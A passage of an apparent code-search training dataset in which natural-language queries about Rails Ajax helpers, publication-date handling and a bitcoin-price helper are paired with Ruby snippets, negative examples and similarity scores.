"def init; end",
"def init; end",
"def init; end",
"def sld; end",
"def bs; end",
"def hd\n \n end",
"def used?; end",
"def returns; end",
"def upc_e; end",
"def user_os_complex\r\n end",
"def herald; end",
"def feruchemist; end",
"def p15\n\t\nend",
"def strain; end",
"def same; end",
"def how_it_works\r\n end"
] |
[
"0.72852707",
"0.67617494",
"0.65363306",
"0.65212655",
"0.65212655",
"0.65212655",
"0.65212655",
"0.6256818",
"0.6235653",
"0.60989827",
"0.6080679",
"0.6069831",
"0.6019674",
"0.60139185",
"0.60110736",
"0.60059977",
"0.5989666",
"0.5989666",
"0.59895986",
"0.59231824",
"0.5911285",
"0.5911285",
"0.58744204",
"0.58392996",
"0.58392996",
"0.58392996",
"0.5835778",
"0.581646",
"0.581646",
"0.5812855",
"0.5812855",
"0.58053976",
"0.5795554",
"0.57768756",
"0.57768756",
"0.57768756",
"0.57768756",
"0.57768756",
"0.57768756",
"0.57768756",
"0.57768756",
"0.57768756",
"0.5762391",
"0.5758077",
"0.5749334",
"0.5731907",
"0.572461",
"0.5721846",
"0.571495",
"0.5679603",
"0.5679603",
"0.56684715",
"0.56646496",
"0.5645818",
"0.5641971",
"0.5641971",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56354225",
"0.56293124",
"0.56293124",
"0.5606315",
"0.5590367",
"0.5590367",
"0.5590367",
"0.5590367",
"0.5585052",
"0.55758876",
"0.55638963",
"0.55638963",
"0.55638963",
"0.55638963",
"0.5558058",
"0.55562687",
"0.55465776",
"0.5543998",
"0.5528332",
"0.552122",
"0.5516434",
"0.5512653",
"0.55113626",
"0.5508115",
"0.549996",
"0.5499292",
"0.54936016"
] |
0.0
|
-1
|
Ajax helper to refresh current index page once the user selects an option.
|
def redraw_mails(option, value, mailing)
if value.is_a?(Array)
param, value = value.first, value.last
end
remote_function(
:url => send("redraw_mails_#{controller.controller_name}_path"),
:with => "{ #{option}: '#{param || value}', 'related': #{mailing} }",
:condition => "$('#{option}').innerHTML != '#{value}'",
:loading => "$('#{option}').update('#{value}'); $('loading').show()",
:complete => "$('loading').hide()"
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_page_on_index(page)\n if params[:search]\n target = page.toolbox.last.find(\"div.search_results.#{model_name.pluralize}\")\n if collection.empty?\n target.html(\"No #{resource_name.pluralize.humanize} found.\")\n else\n target.html(page.context.list_of(collection, :force_list => true))\n end\n elsif wants_refresh?\n # TODO replace current_frame\n page.update_current_frame(collection)\n else\n page.push_frame_for(collection, index_view)\n end\n end",
"def ajax_refresh\n\t\trender(file: 'sales/ajax_reload.js.erb')\n\tend",
"def index\n @sectors = Sector.paginate :order => 'name', :page => params[:page], :per_page => 25\n if request.xhr?\n render(:update) do |page|\n page.replace_html 'results', :partial => \"results\"\n end\n end\n end",
"def show\n index = params[:id].to_i\n Redis.current.lset(\"#{current_user.id}\", index, \"DELETED\")\n @selector = index\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def refresh\n render js: \"location.reload()\"\n end",
"def index\n set_current_query(@study)\n\n @entities = @study.sites.descend_by_created_at.search(get_current_search(Site)).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entities }\n format.js {\n if params[@template.dom_id_nested(:commit, @study)].blank? && params[:page].blank?\n render :file => 'admin/study_sites/index.html.erb'\n else\n render(:update) {|page| page[dom_id(@study, :sites_index)].replace :file => \"admin/study_sites/index\" }\n end\n }\n end\n end",
"def index\n set_index_options\n load_index if params[:reload].to_s.to_boolean(true)\n end",
"def index\n set_index_options\n load_index if params[:reload].to_s.to_boolean(true)\n end",
"def index\n @webinars = Webinar.paginate :order => 'date desc', :page => params[:page], :per_page => 25\n if request.xhr?\n render(:update) do |page|\n page.replace_html 'results', :partial => \"results\"\n end\n end\n end",
"def index\n render :partial=>\"edit_index\" if params['edit_mode']\n\n unless( params['edit_mode'] )\n @engine.referral.wizard_step_mark_complete :faxes\n @engine.referral.save!\n\n if @engine.referral.wizard_step == :faxes.to_s\n render :partial => 'next_step'\n else\n render :update do |page|\n page.replace_html 'referral_faxes', :partial => 'faxes/index', :locals=>{ :edit_disabled => false }\n end\n end\n end\n end",
"def index\n @ajax_search = params[:ajax_search] == \"true\" ? true : false\n \n @sites = Site.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.js.erb\n format.json { render json: @sites }\n end\n end",
"def index\n @partial_file = \"index\"\n respond_to do |format|\n format.html\n format.js {\n render :update do |page|\n page['left_col'].replace_html render_template_sub_menu(\"admin/page_templates\")\n page['middle_col'].replace_html :partial => \"index\"\n end\n }\n format.json {\n @templates = actionize PageTemplate.grid_data\n render :json => { :root => @templates }\n }\n end\n end",
"def index\n # If the bonus type is part of the parameters passed to this page, find the bonus type. This is used for the dropdowns in the view.\n if params[:bonus_type]\n @bonus_type = BonusType.find(params[:bonus_type]).id\n end\n\n @current = self.current_user\n @users = User.all\n @bonus_types = BonusType.where(is_active: true)\n \n @selected_section = get_selected_section\n @select_students = User.get_student_info(get_selected_project, get_selected_section, TEACHER)\n \n # Get array of all sections\n @sections = get_array_of_all_sections(get_selected_project)\n\n # find student managers\n @student_managers = User.get_managers_from_current_section(get_selected_project, get_selected_section)\n \n # For after creating a new bonus. Normally using the session variable is not the best way to do things.\n session[:my_previous_url] = users_path\n\n #if params[:section_option]\n # set_selected_section(params[:section_option])\n #end\n # respond_to do |format|\n # format.html \n # format.js\n # format.xls\n # end\n end",
"def index\n render_index\n end",
"def advance_search \n if params[:entity_type]==\"static-fragment\"\n @page_properties={:selected_menu=>'static_fragment',:menu_title=>'Static Fragment List'}\n else\n @page_properties={:selected_menu=>'static_articles',:menu_title=>'Static Page List'}\n end \n @search=true \n @search_data=SearchData.new(params[:search_data]) if params[:search_data] \n @article_path=\"static_page\" \n @[email protected]_sections.find(params[:search_data][:section_id]) if params[:search_data] and params[:search_data][:section_id]!=\"\"\n session[:per_page]=params[:per_page] if params[:per_page]!=nil\n sort_init \"updated_at\"\n sort_update\n respond_to do |format|\n format.html do \n render :action=>\"index\" ,:entity_type => params[:entity_type]\n end\n format.js do\n render :update do |page| \n page.replace_html 'article_list',component_table_list(@site.find_component_by_name(\"static_article_search\"))\n end\n end\n end \n end",
"def index\n @ajax_search = params[:ajax_search] == \"true\" ? true : false\n \n @servers = Server.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.js.erb\n format.json { render json: @servers }\n end\n end",
"def reindex\n custom_breadcrumbs_for(admin: true,\n leaf: 'Start search index refresh')\n\n render :reindex, layout: 'admin/application', locals: { success: nil, errors: [] }\n end",
"def index\n @show_quarter_select_dropdown = true\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organization_quarters }\n end\n end",
"def update_for_analysis_type\n \t@selected_analysis = params[:selected_analysis]\n \t\n \trespond_to do |format|\n format.js { \n \trender :update do |page|\n \t\tpartial_used = case @selected_analysis\n \t\t\t\twhen \"Log Rank\" then \"log_rank\"\n \t\t\t\twhen \"t-Test, 1-sided\" then \"choice_of_grouping\"\n \t\t\t\twhen \"t-Test, 2-sided\" then \"two_sided_t\"\n \t\t\t\telse \"default\"\n \t\t\tend\n \t page.replace_html \"comparison_level1\", :partial=>\"outcome_analyses/partials/analyses/\"+partial_used.to_s\n \tend\n }\n end\n end",
"def index\n @ajaxes = Ajax.all\n end",
"def index_ajax\n @assets = Asset.find(:all)\n render :back => '/app'\n end",
"def select\n @inventory_type = InventoryType.shod(params[:inventory_transfer_inventory_type_id])\n @inventories = @inventory_type.inventories\n @inventory_types = InventoryType.all\n respond_to do |format|\n format.js {render layout: false if request.xhr?}\n # format.js {render :partial => 'search_all' ,:layout => false}\n end\n end",
"def index\n set_current_query(@study)\n page = params[@template.dom_id_nested(:page, @study)]\n @entities = @study.contacts.descend_by_id.search(get_current_search(User)).paginate(:page => page)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entities }\n format.js {\n if params[@template.dom_id_nested(:commit, @study)].blank? && page.blank?\n render :file => 'admin/study_contacts/index.html.erb'\n else\n render(:update) {|page| page[dom_id(@study, :contacts_index)].replace :file => \"admin/study_contacts/index\" }\n end\n }\n end\n end",
"def index\n \n load_options\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @options }\n end\n end",
"def index\n puts \"You chose index!\"\nend",
"def index\n puts \"You chose index!\"\nend",
"def index\n @comments = Comment.paginate :page => params[:page], :per_page => 25, :conditions => {:flag => true}\n if request.xhr?\n render(:update) do |page|\n page.replace_html 'results', :partial => \"results\"\n end\n end\n end",
"def completedIndex\n time_range = (1.week.ago..Time.now)\n\n check_and_handle_kites_per_page_update(current_user, params)\n\n @kites = Kite.completed_kites.paginate(:page => params[:page], :per_page => @kitesPerPage)\n get_common_stats()\n @function = \"Completed Kites\"\n\n respond_to do |format|\n format.html { render :template => 'kites/index' }# index.html.erb\n format.xml { render :xml => @kites }\n format.js { render :template => 'kites/index' }\n end\n end",
"def show\n if params[:ajax]\n render layout: 'ajax'\n end\n end",
"def index\n render\n end",
"def index\n if @main_category.nil?\n @categories = Category.where(:parent_id => nil).order('title')\n else\n @categories = @main_category.children\n end\n selected_category_id = params[:selected_category_id]\n if !selected_category_id.blank?\n @category = Category.find(selected_category_id)\n @ancestors_for_current = @category.ancestors.collect{|c| c.id.to_i} + [@category.id.to_i]\n end\n respond_to do |format|\n format.html { render :partial => 'select_index', :locals => {:categories => @categories} if request.xhr? }\n format.xml { render :xml => @categories }\n end\n end",
"def index\n render\n end",
"def index\n if request.xhr?\n @index=params[:data]\n @mg_student_categories = MgStudentCategory.where(:is_deleted => '0',:mg_school_id=>session[:current_user_school_id]).paginate(page: params[:page], per_page: 5)\n render :layout => false\n else\n @mg_student_categories = MgStudentCategory.where(:is_deleted => '0',:mg_school_id=>session[:current_user_school_id]).paginate(page: params[:page], per_page: 5)\n end\n end",
"def refresh_index_table\n\t\t@competitions = Competition.all\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n end",
"def refresh(options = {})\n self.link(:edit).get\n end",
"def index\n @current_section = 'accounts'\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accounts }\n format.js { render :partial => 'at_a_glance'}\n end\n end",
"def index\r\n \r\n end",
"def show\n @show_modal = 'show'\n respond_to do |format|\n # If not an ajax request, redirect to index\n format.html\n end \n end",
"def askPage\n @contribucions = getAllContribucioAsk\n render :partial => 'index', :locals => { :contribucions => @contribucions } \n end",
"def index\r\n end",
"def index\n @ajax_search = params[:ajax_search] == \"true\" ? true : false\n \n @systems = System.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.js.erb\n format.json { render json: @systems }\n end\n end",
"def view_sub_admin\n @sub_admin=Admin.find(params[:sub_admin_id])\n session[:searched_addmin_id]=params[:sub_admin_id]\n session[:updating_using_ajax]=1\n respond_to do |format|\n format.html\n format.js\n format.json\n end\n end",
"def index\r\n list\r\n render_action 'list'\r\n end",
"def refresh_index index\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_refresh\")\n req = Net::HTTP::Post.new(uri)\n run(uri, req)\n end",
"def index\r\n end",
"def index\r\n end",
"def index\r\n end",
"def change_current_list\n shopping_list = ShoppingList.find(params[:shopping_list_id])\n session[:current_list_id] = shopping_list.id\n if request.xhr?\n render partial: \"shopping_list\", layout: false\n else\n redirect_to :back\n end\n end",
"def newIndex\n time_range = (1.week.ago..Time.now)\n\n check_and_handle_kites_per_page_update(current_user, params)\n\n @kites = Kite.new_kites(time_range).paginate(:page => params[:page], :per_page => @kitesPerPage)\n get_common_stats()\n @function = \"New Kites\"\n\n respond_to do |format|\n format.html { render :template => 'kites/index' }# index.html.erb\n format.xml { render :xml => @kites }\n format.js { render :template => 'kites/index' }\n end\n end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.js\n end\n end",
"def index\n error = nil\n content = nil\n\n begin\n content = self.send params[:method]\n rescue\n error = $!.to_s\n end\n\n render :update do |page|\n if error\n page.alert error\n else\n page.replace_html params[:update], content\n end\n end\n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end",
"def index\n \n end"
] |
[
"0.62332255",
"0.5943109",
"0.57441485",
"0.5687729",
"0.56416684",
"0.5639901",
"0.5608083",
"0.5608083",
"0.55849785",
"0.54865503",
"0.54723203",
"0.54713804",
"0.54614276",
"0.54573566",
"0.5441742",
"0.54364616",
"0.5431022",
"0.5420763",
"0.54205465",
"0.5396552",
"0.5394278",
"0.53915983",
"0.53847504",
"0.53814507",
"0.5372529",
"0.5372529",
"0.53723276",
"0.53628296",
"0.5356864",
"0.5354476",
"0.5350971",
"0.5347003",
"0.5339137",
"0.5321094",
"0.53209615",
"0.5320805",
"0.5315749",
"0.5314856",
"0.5311676",
"0.5301086",
"0.5293592",
"0.52913916",
"0.5289481",
"0.5288842",
"0.52820265",
"0.52820265",
"0.52820265",
"0.52701294",
"0.5266117",
"0.5243003",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.52424747",
"0.5230731",
"0.52247065",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663",
"0.5224663"
] |
0.0
|
-1
|
DFID research outputs are always bulk published, because our 'publication' is just a proxy for a research output PDF. Its date is not important to a user. Setting this +true+ means that specialistfrontend will never render the publishingapi +published+ date.
|
def bulk_published
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def save_publish_date\n if publisher_tools_config.always_private?\n word_document.private = true\n import_data[:always_private] = true\n return true\n end\n end",
"def publish?\n false\n end",
"def published?; end",
"def published?; end",
"def publish!\n self.published = true\n if self.respond_to?(:publish_on)\n self.publish_on ||= Date.today\n end\n self.save\n end",
"def publish\n self.published = true\n end",
"def publish\n set_publish(true)\n end",
"def publication\n nil\n end",
"def publish\n return true if self.published_at\n\n if self.new_record?\n return false unless self.save\n end\n\n self.published_at = Time.now\n self.save\n end",
"def can_publish?\n !published_at\n end",
"def publishable?\n false\n end",
"def publication_date\n end",
"def publish(_ = nil)\n answers.each do |answer|\n answer.publish! if answer.submitted?\n end\n self.publisher = User.stamper || User.system\n self.published_at = Time.zone.now\n end",
"def published?\n published.eql?(true)\n end",
"def published\n respond_with published_query(true)\n end",
"def publish!\n self.published = true\n save\n end",
"def set_default_publication_date\r\n update_attribute(:publish_at, created_at) if publish_at.nil?\r\n end",
"def published?\n sys[:publishedAt] ? true : false\n end",
"def allow_publication\n\n if new_state=publishing_workflow.next_state(self, PublishingAction::ALLOW)\n\n self.publishing_state_id = new_state.id\n if new_state != PublishingState::BANNED\n self.publishing_allowed_date = Time.now\n self.publishing_allowed_user = connected_user.username\n end\n\n save if self.respond_to?(:save)\n BusinessEvents::BusinessEvent.fire_event(:publication_allowed, publication_info)\n\n end\n\n\n end",
"def publish!\n return false unless published_at.nil?\n\n update_column :published_at, Time.zone.now\n end",
"def publication_date\n if @publishing_detail\n @publishing_detail.publication_date\n end\n end",
"def publish!\n self.update_attribute(:published, true)\n end",
"def is_published?\n return false if self.published_on.nil?\n return true if self.published_on <= Time.now.beginning_of_day\n return false\n end",
"def publish\r\n if update_attribute('published', true)\r\n log_activity\r\n true\r\n else\r\n false\r\n end\r\n end",
"def published_work?\n true\n end",
"def fecha_publicacion\n run_at = self.publication_date\n end",
"def published?\n !(data.key?(\"published\") && data[\"published\"] == false)\n end",
"def published?\n !(data.key?(\"published\") && data[\"published\"] == false)\n end",
"def published?\n if self.publish_at < Time.now.utc\n true\n else\n false\n end\n end",
"def publish\n if self.draft\n self.published_at = nil\n else\n self.published_at ||= DateTime.now\n end\n end",
"def patch_publication_date\n @patch_publication_date ||= if @event.at('patch_publication_date')\n DateTime.strptime(@event.at('patch_publication_date').inner_text, fmt='%Y/%m/%d')\n else\n false\n end\n end",
"def published?\n if is_standard?\n respond_to?(:published_copy_count_col) ? (published_copy_count_col || 0) > 0 : copies.any?(&:published?)\n else\n read_attribute(:published)\n end\n end",
"def published!(details)\n node = @meta.at_xpath('./a:publication', a: NS)\n unless node\n node = @doc.create_element('publication')\n @meta.at_xpath('./a:identification', a: NS).after(node)\n end\n\n node['showAs'] = details[:name] if details.has_key? :name\n node['name'] = details[:name] if details.has_key? :name\n node['date'] = details[:date] if details.has_key? :date\n node['number'] = details[:number] if details.has_key? :number\n end",
"def published?\n if is_standard?\n respond_to?(:copy_form_published_col) ? copy_form_published_col == 1 : copies.any?(&:published?)\n else\n respond_to?(:form_published_col) ? form_published_col == 1 : forms.any?(&:published?)\n end\n end",
"def published?\n self.published\n end",
"def publish!\n return true if published?\n publish_status!\n end",
"def publication_date\n super(:dc_date)\n end",
"def publish\r\n return if published?\r\n self.publish_at = Time.now\r\n self.unpublish_at = nil\r\n end",
"def published?\n is_published && Time.at(publish_at.to_i).to_datetime <= DateTime.now\n end",
"def published?\n published_at.present?\n end",
"def publish\n end",
"def publish\n end",
"def publish\n end",
"def can_publish?\n\t\ttrue\n\tend",
"def publish!\r\n publish\r\n save!\r\n end",
"def published?\n data['published'] != false && (blog_options.publish_future_dated || date <= Time.current)\n end",
"def publish(_ = nil)\n publish_answers\n\n self.publisher = User.stamper || User.system\n self.published_at = Time.zone.now\n self.awarder = User.stamper || User.system\n self.awarded_at = Time.zone.now\n if persisted? && !assessment.autograded? && submission_graded_email_enabled?\n execute_after_commit { Course::Mailer.submission_graded_email(self).deliver_later }\n end\n end",
"def publication_date\n object.publication_date.strftime \"%Y-%m-%d\"\n end",
"def article_should_be_published\n\t\terrors.add(:article_id, \"is not publishe yet\") if article && !article.published?\n\tend",
"def check_published\n \n if self.publishing_state == PublishingState::PUBLISHED\n self.publishing_date = Time.now\n self.publishing_publisher = connected_user.username\n end\n\n end",
"def publish\n\t\tchanged = !published?\n\t\tself.status = 'published'\n\t\tchanged\n\tend",
"def save_publication\n \n init_publishable_data\n\n if publishing_workflow.is_accepted?(self, PublishingAction::SAVE)\n self.publishing_state_id = PublishingState::DRAFT.id\n save if self.respond_to?(:save)\n end\n\n end",
"def apply_on_publishing\n @apply_on_publishing = true\n return self\n end",
"def published?\n self.published_at.present?\n end",
"def publishing?\n # This probably does not need to be synchronized\n @publishing\n end",
"def publish\n p = Page.find_by_id(params[:id])\n p.published_on = Time.now\n p.save!\n respond_with p, :location => nil\n end",
"def published?\n !published_at.nil?\n end",
"def published?\n published == true || published == \"1\" || published == \"t\" || published == \"true\"\n end",
"def is_published?\n self.publishing_state == PublishingState::PUBLISHED\n end",
"def is_published?\n\t !self.is_discontinued? && (Time.now >= Time.parse(self.date_available.to_s))\n\tend",
"def articles_published\n @articles_published\n end",
"def datacite_available_date\n res = resources.files_published.order(created_at: :asc).first\n return nil unless res.present?\n\n res.publication_date || res.updated_at\n end",
"def publish!\n publish\n save\n end",
"def configure_force_publish\n @site.must_publish_all! if @dirty\n @site.must_publish_all?\n end",
"def publish\n unless current_user.memberships(:project_id => params[:project_id]).empty?\n @collection = @project.data_collections.get(params[:collection_id])\n @collection.private = @collection.private == true ? false : true\n if @collection.save\n flash[:notice] = \"Collection successfully changed publicaction status.\"\n redirect_to project_collection_path(@project,@collection)\n else\n flash[:error] = \"Collection failed to change publication status! Errors: \" + @collection.errors.full_messages.join(', ')\n render :index\n end\n else\n flash[:error] = \"You don't have permission to change publication status!\"\n render :index\n end\n end",
"def published_or_not\n self.published = (self.published_at <= Time.now and self.unpublished_at >= Time.now) ? 1 : 0\n end",
"def published?\n self.published_at.present?\n end",
"def publication_params\n params.require(:publication).permit(:name, \n :age, \n :age_measurement_unit, \n :image, \n :adopted, \n :description, \n :published_date, \n :contact_phone, \n :contact_email, \n :location,\n :publication_type,\n :found,\n :delivered,\n user: [:id])\n end",
"def publication_params\n params.require(:publication).permit(:effective_date, :operation, :address, :floor, :apartment, :number_spaces, :surface, :price, :expenses, :antiquity, :description, :additional_info, :neighbourhood_id, :currency_id,:property_type_id, :uploads, :plan_id, :lat, :lng, :end_date)\n end",
"def check_for_availability_and_auto_set_date\n return true unless self.published? && self.published_changed?\n (self.publish_on ||= Date.today.to_time) if self.respond_to?(:publish_on)\n true\n end",
"def publish\n authorize! :update, @dataset\n publish_attempt_result = @dataset.publish(current_user)\n respond_to do |format|\n if publish_attempt_result[:status] == :ok && @dataset.save\n format.html {redirect_to dataset_path(@dataset.key), notice: Dataset.deposit_confirmation_notice(publish_attempt_result[:old_publication_state], @dataset)}\n format.json {render json: :show, status: :ok, location: dataset_path(@dataset.key)}\n elsif publish_attempt_result[:status] == :error_occurred\n format.html {redirect_to dataset_path(@dataset.key), notice: publish_attempt_result[:error_text]}\n format.json {render json: {status: :unprocessable_entity}, content_type: request.format, :layout => false}\n else\n Rails.logger.warn \"unexepected error in attempt to publish:\"\n #Rails.logger.warn publish_attempt_result.to_yaml\n format.html {redirect_to dataset_path(@dataset.key), notice: 'Error in publishing dataset has been logged for review by the Research Data Service.'}\n format.json {render json: {status: :unprocessable_entity}, content_type: request.format, :layout => false}\n end\n end\n end",
"def publish!\n raise 'Not implemented!'\n end",
"def publish!\n self.published = true\n\n # upgrade if necessary\n if upgrade_needed? || current_version.nil?\n upgrade_version!\n else\n save(:validate => false)\n end\n end",
"def publish\n @page.publish\n respond_with(@page, location: published_api_pages_url)\n end",
"def publish_directly\n publish!\n end",
"def published?\n is_standard? ? false : forms.any?(&:published?)\n end",
"def publication_place\n end",
"def published\n if self.delivery_options.publishable.present?\n meth = \"published_by_#{self.delivery_options.publishable.to_s}\"\n return self.send(meth.to_sym)\n end\n where(:published => true)\n end",
"def published_new?(repository_client, publication, event)\n if publication_exists?(repository_client, publication)\n publication.reload\n event.warn(message: \"Publication already exists in the repository. Make updates at #{publication[:pub_url]}\", restartable: false)\n true\n else\n begin\n publish!(repository_client, publication)\n event.completed(message: \"Published to the repository at #{Time.now}\", restartable: false)\n true\n rescue StandardError => e\n publication.publish_failed!\n event.error(message: 'Publishing to the repository failed.', restartable: false)\n logger.error \"PublishWorkJob.publish! failed: #{e.message} => #{e.backtrace}\"\n false\n end\n end\n end",
"def publish_results\n # @contest is fetched by CanCan\n\n # Define params for PDF output\n prawnto filename: \"ergebnisliste#{random_number}\", prawn: { page_size: 'A4', skip_page_creation: true }\n @contest_category = ContestCategory.find(params[:contest_category_id]) if params[:contest_category_id]\n @age_group = params[:age_group] if params[:age_group]\n @performances = @contest.performances\n .where(contest_category_id: @contest_category, age_group: @age_group)\n .accessible_by(current_ability)\n .order(:stage_time)\n end",
"def set_view_publication\n @view_publication = ViewPublication.find(params[:id])\n end",
"def publication\n @meta.at_xpath('./a:publication', a: NS)\n end",
"def publish\n respond_to do |format|\n if @submission.publish!\n format.html { redirect_to @submission, notice: 'Published!' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_profile_submission_path(@profile, @submission), notice: 'There were missing parts.' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show_publication_year? _field_config, doc\n doc['journal_title_ts'].blank? && doc['conf_title_ts'].blank? && doc['publisher_ts'].blank?\n end",
"def published_post\n if self.published && self.published_at.nil?\n self.published_at = Time.now\n end\n end",
"def published?\n is_public && pcp_step.released?\n end",
"def show\n @publication.page_views += 1\n @publication.save\n @publication_attachments = @publication.publication_attachments.all\n\n @publications = Publication.all\n end",
"def publish\n verify_membership\n @project = Yogo::Project.get(params[:project_id])\n @project.private = @project.private == true ? false : true\n if @project.save\n flash[:notice] = \"Project successfully changed publicaction status.\"\n redirect_to project_path(@project)\n else\n flash[:error] = \"Project failed to change publication status!\"\n render :index\n end\n end",
"def publish\n status_id = STATUSES.index('published')\n set_published_at\n end",
"def publish_immediately?\n params[:publish_type].to_i > 0\n end",
"def published?\n # He I don't use the static attr because a finished tip is also published\n !!self.published_at\n end",
"def p_publish( obj )\n puts \"## Page: #{ obj.link }, updated #{ obj.updated }\"\n end",
"def create\n @publication = Publication.new(params[:publication].merge(\n :user => User.current\n ))\n respond_to do |format|\n if @publication.save\n flash_notice(:runtime_created_at.t(:type => :publication))\n format.html { redirect_to(@publication) }\n format.xml { render :xml => @publication, :status => :created, :location => @publication }\n else\n flash_object_errors(@publication)\n format.html { render :action => :new }\n format.xml { render :xml => @publication.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def preprocess_autopublish_drafts\n puts \"Beginning pre-process step for drafts.\"\n drafts.each do |d|\n if d.autopublish?\n puts \"Autopublishing draft: #{d.title} / #{d.slug}\"\n d.publish!\n end\n end\n end",
"def publications\r\n params = {\r\n method: :get,\r\n url: '/report/publications',\r\n params: {\r\n reportUUID: @uuid\r\n }\r\n }\r\n @session.request(params).perform!\r\n end",
"def published\n @pages = Page.published\n respond_with(@pages)\n end",
"def enforce_publishing_validation!\n @enforce_publishing_validation = true\n end",
"def publication_exists?(repository_client, publication)\n works = published_works(repository_client, publication)\n if works.count.positive?\n publication.update(pub_url: publication_url(repository_client, id: works.first['id']))\n publication.publish_exists!\n true\n else\n false\n end\n end",
"def saved_publication_params\n params.require(:saved_publication).permit(:user_id, :publication_id)\n end",
"def create\n @publication = Publication.new(params[:publication])\n\n respond_to do |format|\n if @publication.save\n if params[:save_and_submit]\n @publication.preplanned_submit!\n format.html { redirect_to @publication, \n notice: 'Publication was successfully created and submitted to the publication group.' }\n else\n format.html { redirect_to @publication, notice: 'Publication was successfully created.' }\n format.json { render json: @publication, status: :created, location: @publication }\n end \n else\n format.html { render action: \"new\" }\n format.json { render json: @publication.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.68596506",
"0.68094766",
"0.6733525",
"0.6733525",
"0.6671773",
"0.66354734",
"0.6617149",
"0.66013736",
"0.65788126",
"0.65739876",
"0.6530847",
"0.64812475",
"0.6473078",
"0.6459099",
"0.6426865",
"0.64261234",
"0.6425049",
"0.64116395",
"0.639594",
"0.63853014",
"0.6384879",
"0.6359794",
"0.6357205",
"0.6352807",
"0.6331014",
"0.632684",
"0.63244677",
"0.63244677",
"0.6318279",
"0.63155186",
"0.6311959",
"0.6262582",
"0.62565374",
"0.6206101",
"0.6203951",
"0.6201558",
"0.6200092",
"0.6195435",
"0.6190486",
"0.6187161",
"0.61708415",
"0.61708415",
"0.61708415",
"0.61607516",
"0.61490905",
"0.6148511",
"0.6146034",
"0.6140608",
"0.613628",
"0.612024",
"0.6114844",
"0.6108096",
"0.6107358",
"0.61036557",
"0.6099931",
"0.60919005",
"0.60918915",
"0.60858136",
"0.6073321",
"0.6062897",
"0.6058244",
"0.60183245",
"0.6016735",
"0.5988095",
"0.5987689",
"0.5951475",
"0.59473985",
"0.59456307",
"0.59378475",
"0.59052265",
"0.5901991",
"0.5890923",
"0.58855176",
"0.58804893",
"0.5879883",
"0.58718556",
"0.5868445",
"0.5860242",
"0.5858506",
"0.58554673",
"0.58550096",
"0.58544695",
"0.5850678",
"0.5847092",
"0.5841977",
"0.5835013",
"0.5833156",
"0.5832494",
"0.58291495",
"0.5826991",
"0.58255744",
"0.58154565",
"0.581328",
"0.58132696",
"0.5809535",
"0.5808957",
"0.58080626",
"0.5806773",
"0.579927",
"0.57972676"
] |
0.6910211
|
0
|
This helper instruction consolidates our earlier instructions so it is easier to reuse. Note that there are no parameters to this instruction so we can omit the parenthesis after the instruction name
|
def get_price_of_bitcoin
data = get_data_from_website(BLOCKCHAIN_WEBSITE)
price = get_price_in_usd(data)
# This converts the string to a floating point number
# Another conversion instruction is to_i (integer)
price.to_f
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def instruction name, instruction\n end",
"def processing_instruction!(name, attributes = nil)\n unless attributes\n self << \"<?#{name} ?>\"\n else\n self << \"<?#{name} \"\n attributes.each do |a, v|\n self << %[#{a}=\"#{v}\" ]\n end\n self << \"?>\"\n end\n end",
